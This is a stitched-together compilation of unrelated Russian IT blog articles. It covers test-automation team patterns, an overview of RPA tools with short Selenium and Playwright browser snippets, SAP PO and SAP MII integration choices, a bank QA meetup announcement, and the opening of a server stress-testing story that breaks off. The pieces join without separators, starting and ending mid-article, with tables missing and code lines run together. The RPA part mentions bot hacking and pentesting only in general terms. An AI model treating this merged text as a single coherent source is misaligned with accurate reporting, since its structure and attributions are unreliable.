Недостатки

• Нет ответственного за запуск реализации. Нужно, чтобы кто-то стимулировал создание даже простейшего решения. Нам повезло в нашем случаем таким человеком стал dr0pt4ble, который взял инициативу в свои руки. Не менее важно, чтобы руководство понимало и поддерживало такую инициативу.

• Низкая популярность решения: платформа не сразу стала настолько востребованной, насколько мы ожидали. Любой новый инструмент должен сражаться за любовь пользователей, и это понятно, ведь не всем нравятся перемены. Возможно, мы не проявляли на сайте сверхактивность с первого дня, но постепенно смогли перенаправить туда почти все соответствующие вопросы, а также привлечь к решению проблем людей, не входящих в команду автоматизации тестирования.

• На вопросы могут отвечать недостаточно быстро. На этот случай стоит реализовать уведомления в мессенджерах о появлении новых вопросов. Однако сегодня многие работают из дома и мессенджеры переполнены уведомлениями, что повышает соблазн отключить звук. Каждая команда решает эту проблему по-своему, но для нас появление напоминания в чате автоматизаторов в Slack работает хорошо.

Паттерн 2. Введение стандартов (Set Standards)

По мере возможности мы стараемся переиспользовать код в разных приложениях и на разных платформах, чтобы упростить сопровождение и поддержку. Но, как и в любой другой системе, которую несколько лет разрабатывало много людей, разные части кода могут быть написаны в разных стилях. Наш основной язык для сквозных автотестов это Ruby (об истории автоматизации мобильного тестирования в нашей компании рассказывал agile_seph здесь), потому что он как раз позволяет писать код в разных стилях (автор языка Юкихиро Мацумото хотел, чтобы разработчики использовали его язык так, как им удобно). Однако работать с чужим кодом бывает сложно.

Для решения этой проблемы мы выбрали паттерн SET STANDARDS:

Введите и соблюдайте стандарты для артефактов автоматизации.

Без этого может получиться, что над одним проектом работают несколько человек, и у каждого свой стиль и методы (как если бы все говорили на разных языках). Решать проблему мы начали со сбора мнений тех, кто непосредственно занимается автоматизацией. Мы стремились выработать такие соглашения о стиле, которые будут полезны всем пользователям. И чтобы каждый, кто участвовал в принятии решения, в будущем старался его придерживаться. Так мы создали руководства, которые принимают и соблюдают все участники процесса, что в буквальном смысле помогло нам найти общий язык.

Что мы сделали

• Создали локальную вики с актуальными руководствами и документами (например, как настроить окружение, как запускать и поддерживать тесты), которая помогла сократить циклы ревизии кода. Всю документацию мы храним в Confluence, который разделили на несколько частей. Команды регулярно проверяют актуальность своей документации.

• Добавили в вики межкомандные ретроспективы и соглашения. Ежемесячно мы проводим встречи и по результатам каждой из них делаем какие-то практические выводы.

• Что касается самого кода тестов и ограничений на уровне кода для основных этапов и методов верификации, мы внедрили стандартные инструменты, включая RuboCop (статический анализатор и инструмент форматирования кода для Ruby), защитные проверки (Guard Cheсks) и pre-commit-хуки.

• Вычистили устаревший код и выделили универсальные параметризированные этапы и методы. Рекомендовали не создавать собственные методы, если можно воспользоваться уже существующими. Образец проекта с некоторыми из наших лучших практик можно посмотреть здесь.

• Из участников команды автоматизации тестирования сформировали комитет качества кода. У него есть список вопросов и задач, поучаствовать в решении которых может любой желающий. Мы также приглашаем на встречи комитета всех, у кого есть вопросы, чтобы помочь в их решении.

Преимущества

• На сопровождение тестов и исправление ошибок тратится меньше времени и сил. Руководство по написанию кода очень облегчает понимание того, что и как писать.

• На ревью кода уходит меньше времени. С одной стороны, код становится аккуратнее, с другой всегда есть источник истины для рецензента и рецензируемого.

• Для работы с кодом, который писали другие команды, не требуется прилагать дополнительные усилия. У нас несколько команд работают в одном репозитории, их стандарты и практики могут отличаться. Но знание границ помогает придерживаться некоего единого стиля.

Недостатки

• После создания документации её никто не сопровождает. Это общая проблема для любой документации, особенно для той, что не используется постоянно. Поэтому мы назначили ответственных за сопровождение документов и настроили отправку им на почту уведомлений из Confluence, чтобы ничьи комментарии не оставались без внимания.

• Трудно организовывать ретроспективные встречи и привлекать людей. Непросто найти время, когда все заинтересованные сотрудники не заняты решением своих задач. Поэтому такие встречи приходится планировать сильно заранее.

Паттерн 3. Делимся информацией (Share Information)

Как команда мы стараемся совершенствовать навыки, поэтому рекомендуем всем делиться своими знаниями, например результатами анализа причин сложного бага, тематическими исследованиями, устройством инструментов и любой другой информацией, которая может быть полезна коллегам.

Этот паттерн называется SHARE INFORMATION:

Просите и давайте информацию начальству, разработчикам и другим тестировщикам.

Для нас это способ улучшить автоматизацию тестирования за счёт более широкого набора знаний. Для реализации этого паттерна мы запустили еженедельные короткие презентации QA Lightning Talks. Любой человек может предложить тему и в течение 10-15 минут выступить с ней. Поскольку у встреч чёткий тайминг, это хорошая возможность узнать что-то новое, не потратив на это много времени. Для тех, кто не смог присутствовать, мы сохраняем видеозаписи встреч во внутренней библиотеке.

Доклады могут быть посвящены не только тестированию и его автоматизации. Например, однажды bayandin рассказывал о своём опыте поддержки проекта Homebrew. А я как-то рассказывал о том, что я диванный картограф в Humanitarian OpenStreetMap. Я создаю карты районов, которые плохо картографированы, и потом ими пользуются в работе сотрудники разных организаций вроде Красного Креста или Врачей без границ. Сокращённая версия этого доклада позднее была представлена на сессии Soapbox конференции EuroSTAR 2020.

Преимущества

• Участники команды лучше понимают, кто над чем трудится. В больших компаниях нередко бывает так, что команды начинают работать изолированно, словно в бункерах. И такие короткие доклады могут стать ценным дополнением к другим способам налаживания коммуникации и совместной работы.

• Общий объём знаний растёт. А согласно исследованию, обмен знаниями улучшает взаимодействие между департаментами и внутри них.

• Дополнительная мотивация к саморазвитию и росту. Когда видишь, что делают другие и как ты можешь им помочь, это может вдохновить научиться чему-то новому или углубить знания.

Недостатки

• Не все хотят делать доклады. Мало того, что нужно сделать презентацию, так ещё и необходимо набраться смелости и приложить усилия, чтобы выступить перед аудиторией. Мы сгладили этот момент, ограничив длительность выступлений и предлагая помощь и поддержку всем, кто хочет выступить. Многие уже сделали свои первые шаги на этом поприще.

• Трудно удерживать интерес аудитории и увеличивать ее. Мы каждый раз меняем тему и сосредотачиваемся на актуальных проблемах. Например, один из проектов заключался в том, что мы собирали результаты всех тестовых прогонов тикета в таблицу и интегрировали её в Jira. Об этом на ближайшей встрече и рассказал один из участников команды автоматизации тестирования.

Бонус: паттерн для обучения разделение на пары (Pair Up)

Расскажу ещё о том, к чему привели вышеописанные шаги. Например, QA-инженеры стали готовы брать (и постепенно взяли) ответственность за написание, сопровождение и анализ нестабильных автоматизированных тестов. Поэтому мы решили пойти дальше сделать так, чтобы они взяли на себя ещё и фреймворк автоматизации тестирования и некоторые связанные с инструментарием задачи. Такой шаг был бы невозможен, если бы тестировщики не смогли, помимо своих повседневных задач, ещё и изучать фреймворк и плотно работать с кодовой базой. И хотя регулярные задачи решались качественно, казалось, что выйти за их пределы без помощи будет непросто.

Чтобы достичь цели, мы воспользовались паттерном PAIR UP:

Более опытный сотрудник получает себе в пару менее опытного.

Для QA-инженеров мы запустили внутреннюю программу менторства. Что это такое? QA-инженеры присоединяются к автоматизаторам на короткий промежуток времени (обычно на две недели) и работают над задачами из бэклога этой команды, а не из своего. Помогают им в этом менторы из числа старших инженеров-автоматизаторов. Цель внутреннего менторства заключается в обучении. Мы разработали такой манифест:

• Сосредоточенность на обучении, а не на строгом соблюдении сроков.

• Интерактивные обсуждения, а не работа в бункере.

• Ранняя и регулярная обратная связь, а не ретрообзор в конце менторства.

Хотя утверждения справа ценны, утверждения слева для нас ценнее.

Подробнее о менторстве, о том, почему и как мы его практикуем, я рассказывал в недавнем выступлении.

Итоги

Применение этих паттернов помогло нам решить несколько сложных вопросов и в коммуникации, и в работе с кодом. Мы вышли на новый уровень автоматизации при этом процессы налажены, а люди в команде не перегружены работой.

Какие проблемы мы смогли решить

• Нежелание обращаться за помощью к коллегам (решили с помощью паттерна Ask for help). Как отметили в своей книге A Journey through Test Automation Patterns: One teams adventures with the Test Automation Серетта Гамба и Дороти Грэхем, не бойтесь просить о помощи: большинству людей на самом деле нравится помогать.

• Высокая стоимость сопровождения кодовой базы тестирования (решили с помощью паттерна Set Standards). Если вы давно работаете над автоматизацией, то стандарты просто необходимы.

• Информационный бункер (решили с помощью паттерна Share Information). Общайтесь с другими людьми: в процессе обсуждения часто рождаются новые идеи.

В этой статье я описал лишь несколько паттернов, подходящих для автоматизации тестирования. Но я надеюсь, что наш опыт и рекомендации послужат для вас вдохновением.

Расскажите в комментариях, с какими сложностями при автоматизации тестирования столкнулись вы и как их решали.

Однажды на работе мне поставили R&D задачу создать бота, который будет "ходить" по сайту, выбирать товары, заполнять формы и оплачивать покупки. На тот момент мы писали часть Antifraud системы, которая позволяла детектировать ботов в браузере. И с этого момента все началось...

Оглавление

1. Коротко о RPA

2. Open source проекты

3. Платные сервисы

4. Test Automation

5. RPA vs Test Automation

6. Парсинг сайтов и RPA

7. BPM и RPA

8. Безопасный RPA...

9. Пример работы бота на Python

10. Как детектировать бота?

11. Выводы

Коротко о RPA

RPA (Robotic process automation) - это система, которая позволяет автоматизировать рутинные задачи (заполнение формы, перенос почты, и пр.), также можно сделать бота, который будет постоянно мониторить цены у конкурента, но это уже совсем другое... Если какое-то действие повторяется, то стоит задуматься над автоматизацией. Но не стоит пытаться автоматизировать все вокруг, хотя этого иногда очень хочется.

За время создания своего бота я нашел несколько направлений RPA:

Open source проекты

Начнем сразу с open source проектов, т.к. они представляют большой интерес.
Рассмотрим инструменты относительно языков программирования:

Конечно это не все инструменты, но по крайней мере основные, которые мне удалось найти. Я Python разработчик, поэтому рассмотрю только те инструменты, которые попробовал на практике.

Robocorp

Robocorp создала стек технологий RPA с открытым исходным кодом, чтобы можно было создавать и развертывать роботов. Также у них есть облачная платформа, куда можно деплоить созданных ботов.

TagUI

TagUI - бесплатный инструмент RPA от AI Singapore, финансируемой программой по ускорению развития ИИ. Проект TagUI является открытым и бесплатным. Его легко настроить и использовать, он работает в Windows, macOS и Linux.

TagUI RPA

Из всех инструментов мне больше всего понравился RPA Framework, у которого есть возможность работать с Playwright, также в этом фреймворке очень удобные selector в отличие от Selenium, что позволяет гораздо быстрее писать код.

from selenium import webdriverfrom selenium.webdriver.common.keys import Keysfrom webdriver_manager.chrome import ChromeDriverManagerdriver = webdriver.Chrome(executable_path=ChromeDriverManager().install())driver.get("https://www.google.com/")elem = driver.find_element_by_xpath("/html/body/div[1]/div[3]/form/div[1]/div[1]/div[1]/div/div[2]/input")elem.send_keys("Python news")elem.send_keys(Keys.RETURN)driver.close()

from RPA.Browser.Playwright import Playwrightfrom Browser.utils.data_types import KeyActionlib = Playwright()lib.open_browser("https://www.google.com/")lib.fill_text(selector="input", txt="Python news")lib.keyboard_key(KeyAction.press, "Enter")lib.close_browser()

Платные сервисы

Сказать что их много значит ничего не сказать. Платных Enterprise версий огромное количество. Но проблема в том, что многие организации не понимают истинной разницы в возможностях одного программного обеспечения RPA и другого. Возможно, они также слышали, что RPA предназначена только для очень крупных корпораций и что минимальные первоначальные инвестиции в лицензирование могут достигать 100 000 долларов в год, что теперь не всегда так.

Список ведущих поставщиков RPA на основе матрицы пиковых значений Everest Group для поставщиков технологий RPA 2020:

Everest группирует инструменты RPA в три основных сегмента в зависимости от их возможностей, влияния на рынок и способности успешно поставлять продукт. Everest также выделяет UiPath, Automation Anywhere, Blue Prism, Intellibot и Nividous в качестве лидеров.

Компания Blue Prism, основанная в 2001 году, была пионером в секторе RPA и использовала термин Robotic Process Automation. Четыре года спустя генеральный директор UiPath Дэниел Дайнс технически основал UiPath как компанию под названием DeskOver. Однако только в 2015 году она действительно родилась и была переименована в RPA-компанию.

В таблице ниже представлен краткий снимок каждого из трех инструментов RPA с точки зрения доходов, размера, сотрудников и оценки:

VS

Изначально более длинная траектория Blue Prism сделала ее идеальным решением. Большинство его клиентов были крупными банковскими и финансовыми учреждениями - одними из немногих организаций, которые могли позволить себе изначально высокую стоимость входа RPA.

Спустя годы на рынок вышли более доступные конкуренты, такие как UiPath и Automation Anywhere с такими же (или лучшими) возможностями, повышенной гибкостью и простотой внедрения. В результате RPA была демократизирована для компаний любого размера во многих отраслях, включая малые и средние организации.

Еще один интересный источник для сравнения инструментов RPA - G2, рейтинг которого основан на данных в реальном времени из проверенных отзывов пользователей. По состоянию на 21 год каждая из трех лидирующих платформ оценивалась следующим образом:

1. UiPath - 4.6 / 5 звезд с 4722 отзывами

2. Automation Anywhere оценивает 4,5 / 5 звезд с 4310 отзывами

3. Blue Prism 4,4 / 5 звезд по 158 отзывам

Что делает UiPath самой популярной платформой RPA?

UiPath превратился в единственную платформу RPA на рынке, созданную для поддержки полного жизненного цикла автоматизации. Портфель продуктов компании продолжает оставаться в авангарде инноваций, постоянно расширяя свои традиционные возможности RPA за счет включения таких инструментов, как интеллектуальный анализ процессов, встроенная аналитика, улучшенные компоненты AI Fabric, RPA на основе SaaS и автоматизация тестирования.

UiPath также считается одним из самых быстрых решений RPA в отрасли - часто в 3-4 раза быстрее, чем другие продукты RPA.

Другие ключевые сильные стороны UiPath:

1. Long Running Workflows

2. Machine Learning and Predictive Analytics

3. Seamless Interconnectivity

4. Process Document Understanding

5. Citizen Development

6. Customer Satisfaction

7. Flexible Licensing Model and Low Cost of Entry

Оригинал статьи со сравнением: https://www.auxis.com/blog/top-rpa-tools

Для точной оценки состояния RPA компаний я использовал агрегатор G2, он позволяет выбрать нужный инструмент в зависимости от различных показателей (рейтинг, цена, язык и пр.). Также можно построить G2 график для выбора инструмента, выглядит он следующим образом:

UiPath

Самое замечательное в UiPath - это простота использования.

UiPath прост в установке и имеет возможности разработки на основе пользовательского интерфейса. Подробное онлайн-руководство поможет быстро освоиться. Согласно Quadrant Review компании Gartner, UiPath имеет первоклассную команду поддержки клиентов, и в целом UiPath идеально подходит для компаний, стремящихся к быстрому внедрению RPA.

GUI UiPath

Automation Anywhere

Automation Anywhere, наиболее известная своими инструментами RPA, представляет собой веб-решение RPA, которое использует программных ботов для завершения бизнес-процессов. Позволяет создавать сложные процессы RPA, обеспечивает масштабируемость, необходимую для удовлетворения широкого спектра задач, от рутинной обработки копирования и вставки до модификации данных.

GUI Automation Anywhere

Blue Prism

Blue Prism, старейший инструмент в индустрии RPA, в последние годы неуклонно растет.

Blue Prism специализируется на сквозной RPA для компаний из списка Fortune. Blue Prism также предлагает высококлассных роботов. Роботы не только очень сложные, но и обладают глубокими возможностями создания сценариев для настройки расширенных сетей RPA. Имеет отличные возможности отладки и потрясающую масштабируемость.

GUI Blue Prism

Microsoft Power Automate

Microsoft Power Automate предоставляет простое и эффективное решение RPA. Самым значительным преимуществом Microsoft Power Automate является простота настройки. Данные из экосистемы Microsoft легко доступны. Легко управлять оркестрацией робота.

WinActor

WinActor - это инструмент RPA, разработанный NTT Group. Он широко используется в таких отраслях, как разработка программного обеспечения и финансы.

GUI WinActor

Test Automation

Автоматизация тестирования помогает разработчикам и тестировщикам экономить время и увеличивать охват тестированием за счет автоматизации повторяющихся тестовых случаев.

Типичным методом тестирования является тестирование пользовательского интерфейса, для которого тестировщики обычно используют специализированные фреймворки (например, Selenium), которые позволяют автоматизировать взаимодействие с пользовательским интерфейсом и проверять поведение системы. Если бы тестировщики выполняли эти тесты вручную, они никогда бы не смогли адекватно протестировать, найти проблемы на разных платформах и, возможно, пропустить определенные ошибки.

Инструментов ни сколько не меньше чем у RPA.

Вот небольшой список:

Инструмент	Open source	Платная
Selenium	+
Appium	+
SoapUI	+
TestProject	+
Cerberus Testing	+
Katalon Studio		+
IBM Rational Functional Tester		+
Telerik Test Studio		+
TestComplete		+
Ranorex		+
Kobiton		+
Subject7		+
HPE Unified Functional Testing (UFT)		+

Сводная картинка по некоторым инструментам:

QA Automation tools

RPA vs Test Automation

Коротко: это практически одно и то же.

RPA и Test Automation можно рассматривать как одно и то же. Компании используют их для автоматизации задач, экономии затрат и освобождения времени сотрудников для других дел.

Сходства:

• инструменты для обеих практик автоматизируют взаимодействие пользовательского интерфейса.

Различия:

• сценарии тестирования, созданные для автоматизации тестирования, зависят от тестируемой системы (SUT).

• RPA не различают, автоматизируют ли они перенос данных в систему бухгалтерского учета или, например, помечают ваши электронные письма.

• RPA инструменты не зависят от программного обеспечения, в котором запущен процесс.

Парсинг сайтов и RPA

Цели у компаний, которые занимаются парсингом сайтов, разные, но тем не менее такие инструменты есть и некоторые из них являются полноценным RPA инструментом (например, Octoparse).

Process Bots VS Search Bots

Сильные стороны RPA:

• Low Code UX

• Управление входами и выходами через UX

• Работа с авторизацией для бизнес-приложений

• Передача данных в бизнес-процессе

• Бизнес-шаблоны для определенных шаблонов использования (обслуживание клиентов, финансовые таблицы и т.д.)

Сильные стороны поискового робота:

• Масштабирование для одновременной обработки десятков тысяч страниц

• Отсутствие конфигурации и автоматическая обработка для множества типов веб-страниц

• Поисковые роботы автоматически адаптируются при изменении страниц

• Богатая индивидуальная конфигурация

• Всестороннее чтение HTML страницы (Имя автора; UPC продукта)

• Автоматическое извлечение настроения из текста

• Извлечение связанных сущностей из текста (организации, местоположения, люди и т.д.)

Но какие боты лучше?

Как и все, от чего зависит, но одна ключевая отличительная черта между веб-ботами и ботами RPA может быть показана путем обсуждения того, в каких контекстах мы хотим, чтобы наши боты работали.

Боты RPA были разработаны в эпоху статических приложений. Таблицы необходимо обновлять с помощью бухгалтерского программного обеспечения. Заявки подаются в одном и том же формате месяцами или годами. А использование данных, передаваемых между приложениями, было четко определено и несколько ограничено.

Сегодня все наши приложения находятся в облаке. А конвейеры данных сильно зависят от неструктурированных данных из интернета. С появлением RPA вывод используемых нами приложений стал значительно более динамичным. Ключевое различие между поисковыми и технологическими роботами заключается в том, что поисковые боты созданы для адаптации к постоянно меняющимся веб-страницам, а RPA прерывается, когда сайты меняются, а точнее когда меняется дом-дерево в html разметке.

Теперь возьмем поискового бота с поддержкой AI. Вводим один сайт например, в Crawlbot Diffbot, ждем несколько минут, и тысячи страниц распознаются и анализируются как страницы продуктов. Загружаем данные в формате JSON или CSV, либо загружаем приложение или панель инструментов с выбранными результатами. Основная технология, лежащая в основе этого варианта использования, возможно будет чем боты RPA. Поисковые боты сами ускоряют чтение и классификацию Интернета!

BPM и RPA

Основная функция BPM-системы это организация правильного взаимодействия участников бизнес-процесса.

Основной источник неэффективности процессов, как правило, находится вмоментах передачи ответственности между его исполнителями. Именно здесь случается искажение или неполная передача информации, потеря задач, нарушение сроков исполнения, ато ипросто непонимание, как бизнес-процесс должен продолжаться.

Второй основной точкой неэффективности бизнес-процессов являются люди: они совершают ошибки, долго выполняют свои задачи ипри этом дороги. Благодаря технологии RPA исполнителей бизнес-процессов можно заменить роботами, что сделает исполнение процессов дешевле икачественнее.

Безопасный RPA...

Взлом RPA

Можно ли взломать RPA? Да, можно. Например, обработка данных с сайта (загрузка картинок, текста и пр.), откуда робот может скачать зараженный скрипт под видом обычной картинки, а скаченный скрипт может повлиять на работу бота, добавляя новые правила в обработку, или просто остановит его. Много что можно сделать, выбор огромный.

Риски безопасности, на которые стоит обратить внимание:

• Риски выбора инструмента: выбор нужного инструмента от проверенного производителя. Компании обычно выбирают инструменты, не соответствующие их требованиям.

• Операционные риски или риски исполнения: развертывание правильной операционной модели необходимо для уменьшения функциональных проблем или проблем с производительностью.

• Злоупотребление привилегированным доступом: злоумышленники получают несанкционированный доступ к системе, чтобы получить конфиденциальные данные пользователя и чтобы свободно перемещаться в сетях робота. Вредоносное программное обеспечение, установленное внутри системы, которое создаст сценарий уничтожения важных конфиденциальных данных, нарушая жизненно важные бизнес-процессы.

• Раскрытие конфиденциальных данных:malware проникает в систему и создает сценарий при котором данные пользователей утекают в сеть.

• Отказ в обслуживании: создания необходимых условия для остановки работы бота.

Но самая серьезная проблема состоит в том, чтобы гарантировать, что конфиденциальные данные не будут использованы неправомерно с помощью привилегий, присвоенных программным роботам или разработчикам рабочих процессов для роботов.

Проблема безопасности данных может быть разбита на два тесно взаимосвязанных момента:

• Безопасность данных

• Безопасность доступа: Цель - исключить возможность неавторизованного доступа пользователей и манипулирования личными данными, с которыми имеют дело роботы.

RPA для пентеста

Посмотрим с позиции пентестера. Мы можем с помощью RPA создать скрипт, который будет циклически проверять страницы на уязвимости. Рассуждая дальше, мы можем подготовить целую армию роботов, чтобы симулировать атаки на различные API и сайты. Понятно, что не все можно автоматизировать, но основные сценарии, которые повторяются для каждого сайта, можно попробовать.

Продолжение следует...

В следующей статье мы создадим своего бота, рассмотрим какие есть алгоритмы детектирования ботов, которые написаны на Selenium и с помощью RPA. Создадим свой алгоритм, подведем итоги.

В предыдущей нашей статье мы рассказывали о том, какие уроки мы усвоили, как мы обучали коллег удаленно и как проводили тестирование системы. В данной статье речь пойдет об интеграционных ландшафтах. Для реализации решения в рамках нашего проекта мы выбрали гибридный интеграционный ландшафт на базе SAP PO и SAP MII. В данной статье мы рассмотрим особенности систем SAP PO и SAP MII, их предназначение, достоинства и недостатки. А также расскажем о трудностях, с которыми мы столкнулись при реализации проекта в 2020 году.

Итак, по порядку.

Интеграционные платформы: как выбрать?

Все компании рано или поздно приходят к решению интегрировать системы, которые они внедрили для решения различных операционных задач. И тут возникает вопрос, какую интеграционную систему выбрать.

К сожалению, каждый раз мы сталкиваемся с проблемой, что нет идеальной системы интеграции, есть системы, которые ориентированы на решение определенного круга задач. Поэтому, прежде чем обсуждать поставщиков интеграционных систем и конкретные системы, следует определить, какой круг задач должна решать система интеграции в вашем случае. После этого необходимо определиться с классом(-ами) систем, которые лучше всего решают определенные задачи.

Согласно SAP CIO Guide: Process and Data Integration in Hybrid Landscapes, существуют следующие классы интеграционных систем:

Process Integration охватывает интеграцию распределённого между системами/приложениями бизнес-процесса. Наиболее предпочтительные инструменты интеграции на базе ESB (Enterprise Service Bus)

Data Integration охватывает синхронизацию данных между приложениями, базами данных и озером данных вне транзакционного контекста. Наиболее предпочтительные инструменты интеграции на базе ETL (Extract, Transform, Load).

User Integration охватывает все задачи интеграции между сервером приложений и интерфейсами взаимодействия с пользователем.

Thing Integration охватывает все сценарии, когда данные из устройств, оборудования должны быть интегрированы с бизнес-приложениями.

Cross Use Cases остальные сценарии, применяемые для сквозного взаимодействия.

На нашем проекте мы столкнулись со сложным выбором, т. к. задачи, требующие решения, в нашем случае оказались в разных классах систем. Если выбрать одну систему и пытаться на ней решить не характерные для нее задачи, то она не будет столь эффективна, как система, изначально созданная для этой задачи. Нам требовалась интеграция как процессов, так и данных заводского уровня (оборудования). Поэтому наш выбор пал на гибридный интеграционный ландшафт.

Опыт российской практики показывает, что компании в основном делают выбор в пользу таких интеграционных систем, как SAP PO (ранее SAP PI). Однако существуют и другие системы, которые также предназначены для интеграции между системами различных уровней. В нашем случае мы использовали интеграционные системы SAP PO и SAP MII.

Ключевые аспекты использования SAP PO и SAP MII

Когда мы подошли к выбору интеграционной платформы, то ориентировались на следующие наиболее важные аспекты, которые нужно учитывать при разработке архитектуры межсистемной интеграции:

1. SAP PO следует использовать для интеграции процессов в качестве основной Корпоративной сервисной шины (ESB) предприятия (Например, ERP с Банк-клиентом), а также когда требуется:

Использовать репозиторий корпоративных сервисов в качестве центрального репозитория SOA

Использовать поддержку дополнительных стандартов WS (web service), таких как UDDI, WS-BPEL, и задач, WS-RM в корпоративной среде.

Включение критически важных сценариев интеграции между бизнес-приложениями.

Использование новых функций, таких как аутентификация конечных пользователей, валидация XML и возможности BAM

Взаимодействие с системами, находящимися за рамками DMZ корпоративной сети.

2. SAP MII следует использовать в основном, когда стоит задача обрабатывать данные уровня заводов (MES, LIMS), которые представлены в разнородных хранилищах, которые требуется организовать и проанализировать, а также, когда нужно:

Получать согласованные отчеты о производственных операциях на разных сайтах.

Углубиться в хранилища данных предприятия и в разные хранилища данных для производственных интеллектуальных приложений.

Подключить собственные производственные приложения к данным и рабочим процессам SAP S/4HANA - через стандартные и встроенные адаптеры и инструменты (BAPI/RFC синхронный запрос).

Позволить персоналу предприятия выполнять отчетность (стандартную, мобильную и специальную) наряду с базовыми задачами.

Следует отметить, что система SAP MII по своему прямому назначению, помимо выполнения функции интеграционной шины, также дает возможность выполнять оперативные функции с использованием UI/UX-приложений и реализовать процессы по регистрации данных оперативного учета. Однако использование системы SAP MII только как платформы интеграции не дает никаких преимуществ по сравнению другими системами (например, SAP PO).

3. Наряду с отдельным использованием платформ SAP PO или SAP MII (рассматриваемых в данной статье) также нередки случаи совместного использования одновременно двух этих систем, а именно в тех ситуациях, когда:

SAP MII должен взаимодействовать c SAP S/4HANA (и другими системами корпоративного уровня) через SAP PO в интеграционных сценариях, требующих гарантированную доставку.

SAP PO должен использоваться для централизованного управления потоками данных.

SAP MII должен обеспечивать обработку данных уровня завода, даже в случае временной недоступности систем корпоративного уровня.

В SAP MII должны быть реализованы правила и обработки, специфичные для уровня завода.

Таким образом, очень важно при выборе платформы интеграции учитывать не только техническую возможность выполнять определенные действия, связанные с межсистемной интеграцией, но и исходить напрямую из требований к обрабатываемым системой данным.

Преимущества и недостатки SAP PI

Несмотря на то, что верхнеуровнево и SAP PO, и SAP MII поддерживают схожие сценарии интеграции, обе системы разработаны с учетом конкретных сценариев использования.

Мы подготовили таблицу с описанием основных компонентов функционала и преимуществ, которые есть у каждой из систем по этим компонентам. Оценка функционала, представленная в данной таблице, является субъективным мнением консультантов и разработчиков и составлена на основе проектного опыта внедрения систем.

Среди недостатков функционала обеих систем отмечены следующие:

Мы учли преимущества и недостатки каждой из систем, чтобы обеспечить необходимую интеграцию и создать эффективную архитектуру.

Вызовы нашего проекта, и как мы с ними справились

Реализация проектов интеграции систем - непростая задача, требующая согласованной работы различных команд в рамках одной локальной компании или, как в нашем случае, различных команд из нескольких стран с разными часовыми поясами и даже разными языками. К тому же дополнительный уровень сложности для проекта в 2020 году обеспечили пандемия и удаленный формат работы. Все эти трудности заставили нас по-новому посмотреть на взаимодействие между командами, а также внутри команды внедрения.

Первоначальный подход предполагал обычный формат периодических встреч и переписку по электронный почте, но он доказал свою несостоятельность: долгое время ответа, низкая динамика работы, невозможность отслеживать выполнение задач.

В связи с этим мы пересмотрели весь рабочий процесс, а именно:

1. Определили временные периоды, в рамках которых сотрудники могли начать и закончить свой рабочий день.

2. Перешли на scrum-методологию:

Ежедневные встречи, где в формате 15-минутных встреч обсуждали, что сделано, что будет сделано в течение дня и что мешает выполнению задач. Данные встречи помогают решать проблемы быстрее, чем бесконечные переписки.

Проведение встреч в формате видеоконференций. Такое взаимодействие, когда можно видеть друг друга, всегда положительно сказывается на производительности труда.

Общение посредством мессенджеров. Это также позволяет быстрее взаимодействовать с коллегами и предполагает менее формальный тон общения, что сближает сотрудников.

3. Хорошей практикой стала демонстрация Клиенту прототипа интеграционного решения. Мы показываем не только интеграцию, но и реализацию бизнес-процессов, и таким образом исключаем неприятные неожиданности.

4. Мы сделали оптимизацию с учетом разных часовых поясов:

Приоритизировали и распределяли задачи в соответствии с часовым поясом членов команд

Планировали ключевые встречи с учетом разницы во времени

С пониманием относились к экстренным запросам во внерабочее время.

5. Также одним их решений стал запрос и получение доступа в интегрируемые системы для того, чтобы процессы изучения систем, разработки и тестирования не останавливались вне зависимости от времени. Данное решение уменьшило зависимость от коллег при запуске тестового потока или просмотре полей.

Пересмотренный подход позволил нам скоординировать работу команд и её в срок.

Выводы

Существует большой выбор интеграционных платформ. Чтобы не утонуть в выборе, необходимо четко сформулировать задачи, которые стоят перед компанией, и далее определить класс необходимой системы. В случае если для решения ваших задач требуется гибридный интеграционный ландшафт, необходимо понять, какие задачи будут закрыты какой системой, оценить преимущества и недостатки каждой из выбранных систем и понять, как с ними работать в контексте вашей компании.

В нашем случае при принятии решения об использовании интеграционных систем мы полагались на опыт команды внедрения и опыт наших глобальных коллег, внедрявших системы SAP PO и SAP MII на проектах ранее. Это позволило нам учесть особенности обеих систем и построить эффективную архитектуру.

На собственном опыте мы знаем, что выбор всегда не прост, но возможен. И все проектные вызовы можно преодолеть и обратить в свои преимущества.

Надеемся, наша статья поможет вам в поиске наилучшего для вас решения. Да пребудет с Вами Сила!

Привет!

Вы уже догадались по названию, какой теме будет посвящен этот митап.

В целом, всё как всегда онлайн, бесплатно, но надо зарегистрироваться заранее (на почту получите ссылку на трансляцию, а потом ещё и запись, если вдруг некогда будет смотреть онлайн).

Меняется лишь состав спикеров и обсуждаемые вопросы. Вот они:

19:05 19:35, Контрактное тестирование Rest API

Семен Ковалев, старший специалист по тестированию, Альфа-Банк

Семен расскажет отом, что такое контрактное тестирование, иразберет простой пример контрактного теста наPostman.

19:35 20:05, Структурированный подход к организации тестов

Анна Сотниченко, специалист по тестированию, Альфа-Банк

Расскажет, о том, как удобно структурировать автотесты, использовать метки и применять теги.

20:05-20:35, Построение модели Onboarding в QA

Иван Боклач, руководитель группы тестирования,Альфа-Банк

Подключайтесь, будет интересно.

Привет, Хабр! Мы постоянно проводим тесты различных софтверных решений на нашем оборудовании, и иногда простая, казалось бы, задача разворачивается на недели. Как раз о таком случае сегодня и пойдет речь. Главный герой нашего рассказа - Павел, технический консультант компании Atos в России.

Рыцари Постгрес тестируют

Итак, на сервере Atos BullSequana S1600 (16 процессоров Intel Platinum 8260), разделенном логически на 2 половинки по 8 сокетов, установлено 4 HBA Emulex LPe31002-M6 (2х-портовые, 16 Гбит), по 2 на каждой половине. FC-линки подключены через 2 MDS-свитча производства Cisco, и с помощью multipath предоставляют системе один диск объемом 6 Тб. В самом начале тестов каждая карта была подключена всего одним линком, но потом, в ходе диагностики, для большей надежности и вообще повышения крутизны подключили все порты. Итого, на каждой половинке сервера оказалось по 4 FC-линка. Во время тестов работы с диском не было.

ОС на обеих половинках на момент старта нашего повествования CentOS Linux release 7.7.1908 с ядром: 3.10.0-1062.12.1.el7

Версия FW карт - 12.6.240.40 (рекомендованная Atos, обновлялась в процессе работ).

Версия драйвера lpfc (судя по всему, родная, из коробки ОС) 12.0.0.13.

Объём доступной памяти всего-навсего 4096 Гб на каждой половинке, с учетом резервирования части памяти под нужды железа под ОС остается 3968 Гб.

Все началось с того, что специалисты по СУБД Postgres решили протестировать железо с помощью stress-ng пакета, в попытке доказать, что наше оборудование не выдерживает нагрузки (у них были инциденты, в рамках расследования которых всё и завертелось).

